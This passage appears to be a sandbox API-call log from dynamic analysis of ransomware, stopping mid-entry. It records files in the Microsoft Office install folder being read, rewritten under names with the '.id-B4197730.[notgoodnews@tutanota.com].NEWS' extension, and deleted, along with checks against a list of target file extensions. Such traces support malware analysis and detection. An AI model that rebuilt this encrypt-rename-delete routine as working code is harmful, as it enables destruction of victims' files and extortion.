[0068.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.086] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.086] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0068.087] GetLastError () returned 0x0 [0068.087] ReadFile (in: hFile=0x374, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x119, lpOverlapped=0x0) returned 1 [0068.088] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x120, lpOverlapped=0x0) returned 1 [0068.088] ReadFile (in: hFile=0x374, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.089] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x100, lpOverlapped=0x0) returned 1 [0068.126] SetEndOfFile (hFile=0x348) returned 1 [0068.126] CloseHandle (hObject=0x348) returned 1 [0068.127] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.127] SetEndOfFile (hFile=0x374) returned 1 [0068.128] CloseHandle (hObject=0x374) returned 1 [0068.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0068.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0068.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.128] lstrlenW (lpString=".doc") returned 4 [0068.128] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.128] lstrlenW (lpString=".docx") returned 5 [0068.129] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0068.129] lstrlenW (lpString=".pdf") returned 4 [0068.129] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString=".xls") returned 4 [0068.129] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString=".xlsx") returned 5 [0068.129] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0068.129] lstrlenW (lpString=".ppt") returned 4 [0068.129] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.129] lstrlenW (lpString=".zip") returned 4 [0068.129] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.129] lstrlenW (lpString=".rar") returned 4 [0068.129] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString=".bz2") returned 4 [0068.129] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString=".7z") returned 3 [0068.129] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.129] lstrlenW (lpString=".dbf") returned 4 [0068.129] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.129] lstrlenW (lpString=".1cd") returned 4 [0068.129] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.129] lstrlenW (lpString=".jpg") returned 4 [0068.129] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.129] lstrlenW (lpString=".doc") returned 4 [0068.129] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.129] lstrlenW (lpString=".docx") returned 5 [0068.129] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0068.129] lstrlenW (lpString=".pdf") returned 4 [0068.129] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.130] lstrlenW (lpString=".xls") returned 4 [0068.130] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.130] lstrlenW (lpString=".xlsx") returned 5 [0068.130] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0068.130] lstrlenW (lpString=".ppt") returned 4 [0068.130] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.130] lstrlenW (lpString=".zip") returned 4 [0068.130] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.130] lstrlenW (lpString=".rar") returned 4 [0068.130] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.130] lstrlenW (lpString=".bz2") returned 4 [0068.130] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.130] lstrlenW (lpString=".7z") returned 3 [0068.130] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.130] lstrlenW (lpString=".dbf") returned 4 [0068.130] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.130] lstrlenW (lpString=".1cd") returned 4 [0068.130] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0068.130] lstrlenW (lpString=".jpg") returned 4 [0068.130] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.130] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0068.130] lstrlenW (lpString="SLERROR.XML") returned 11 [0068.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.131] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=36336) returned 1 [0068.131] CloseHandle (hObject=0x374) returned 1 [0068.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0068.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.132] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.132] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0068.143] GetLastError () returned 0x0 [0068.143] ReadFile (in: hFile=0x374, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x8df0, lpOverlapped=0x0) returned 1 [0068.147] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x8e00, lpOverlapped=0x0) returned 1 [0068.148] ReadFile (in: hFile=0x374, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.148] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xea, lpOverlapped=0x0) returned 1 [0068.148] SetEndOfFile (hFile=0x31c) returned 1 [0068.172] CloseHandle (hObject=0x31c) returned 1 [0068.174] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.174] SetEndOfFile (hFile=0x374) returned 1 [0068.175] CloseHandle (hObject=0x374) returned 1 [0068.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0068.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0068.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.321] lstrlenW (lpString=".doc") returned 4 [0068.321] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.321] lstrlenW (lpString=".docx") returned 5 [0068.321] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0068.322] lstrlenW (lpString=".pdf") returned 4 [0068.322] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString=".xls") returned 4 [0068.322] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString=".xlsx") returned 5 [0068.322] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0068.322] lstrlenW (lpString=".ppt") returned 4 [0068.322] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.322] lstrlenW (lpString=".zip") returned 4 [0068.322] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.322] lstrlenW (lpString=".rar") returned 4 [0068.322] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString=".bz2") returned 4 [0068.322] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString=".7z") returned 3 [0068.322] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.322] lstrlenW (lpString=".dbf") returned 4 [0068.322] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.322] lstrlenW (lpString=".1cd") returned 4 [0068.322] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.322] lstrlenW (lpString=".jpg") returned 4 [0068.322] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.322] lstrlenW (lpString=".doc") returned 4 [0068.322] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString=".docx") returned 5 [0068.322] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0068.322] lstrlenW (lpString=".pdf") returned 4 [0068.322] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString=".xls") returned 4 [0068.322] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.322] lstrlenW (lpString=".xlsx") returned 5 [0068.323] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0068.323] lstrlenW (lpString=".ppt") returned 4 [0068.323] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.323] lstrlenW (lpString=".zip") returned 4 [0068.323] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.323] lstrlenW (lpString=".rar") returned 4 [0068.323] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.323] lstrlenW (lpString=".bz2") returned 4 [0068.323] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.323] lstrlenW (lpString=".7z") returned 3 [0068.323] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.323] lstrlenW (lpString=".dbf") returned 4 [0068.323] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.323] lstrlenW (lpString=".1cd") returned 4 [0068.323] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0068.323] lstrlenW (lpString=".jpg") returned 4 [0068.323] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.323] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.323] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0068.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0068.324] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1533) returned 1 [0068.324] CloseHandle (hObject=0x308) returned 1 [0068.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0068.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0068.324] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.324] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0068.324] GetLastError () returned 0x0 [0068.324] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x5fd, lpOverlapped=0x0) returned 1 [0068.327] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x600, lpOverlapped=0x0) returned 1 [0068.328] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.328] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0068.328] SetEndOfFile (hFile=0x33c) returned 1 [0068.328] CloseHandle (hObject=0x33c) returned 1 [0068.329] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.329] SetEndOfFile (hFile=0x308) returned 1 [0068.330] CloseHandle (hObject=0x308) returned 1 [0068.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0068.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0068.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.331] lstrlenW (lpString=".doc") returned 4 [0068.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.331] lstrlenW (lpString=".docx") returned 5 [0068.331] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0068.331] lstrlenW (lpString=".pdf") returned 4 [0068.331] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.331] lstrlenW (lpString=".xls") returned 4 [0068.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.331] lstrlenW (lpString=".xlsx") returned 5 [0068.331] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0068.331] lstrlenW (lpString=".ppt") returned 4 [0068.331] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.331] lstrlenW (lpString=".zip") returned 4 [0068.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.332] lstrlenW (lpString=".rar") returned 4 [0068.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString=".bz2") returned 4 [0068.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString=".7z") returned 3 [0068.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.332] lstrlenW (lpString=".dbf") returned 4 [0068.332] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.332] lstrlenW (lpString=".1cd") returned 4 [0068.332] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.332] lstrlenW (lpString=".jpg") returned 4 [0068.332] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.332] lstrlenW (lpString=".doc") returned 4 [0068.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString=".docx") returned 5 [0068.332] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0068.332] lstrlenW (lpString=".pdf") returned 4 [0068.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString=".xls") returned 4 [0068.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString=".xlsx") returned 5 [0068.332] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0068.332] lstrlenW (lpString=".ppt") returned 4 [0068.332] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.332] lstrlenW (lpString=".zip") returned 4 [0068.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.332] lstrlenW (lpString=".rar") returned 4 [0068.333] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.333] lstrlenW (lpString=".bz2") returned 4 [0068.333] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.333] lstrlenW (lpString=".7z") returned 3 [0068.333] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.333] lstrlenW (lpString=".dbf") returned 4 [0068.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.333] lstrlenW (lpString=".1cd") returned 4 [0068.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0068.333] lstrlenW (lpString=".jpg") returned 4 [0068.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.333] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.333] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0068.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0068.334] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=800867) returned 1 [0068.334] CloseHandle (hObject=0x308) returned 1 [0068.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0068.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0068.335] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.335] SetFilePointerEx (in: hFile=0x308, 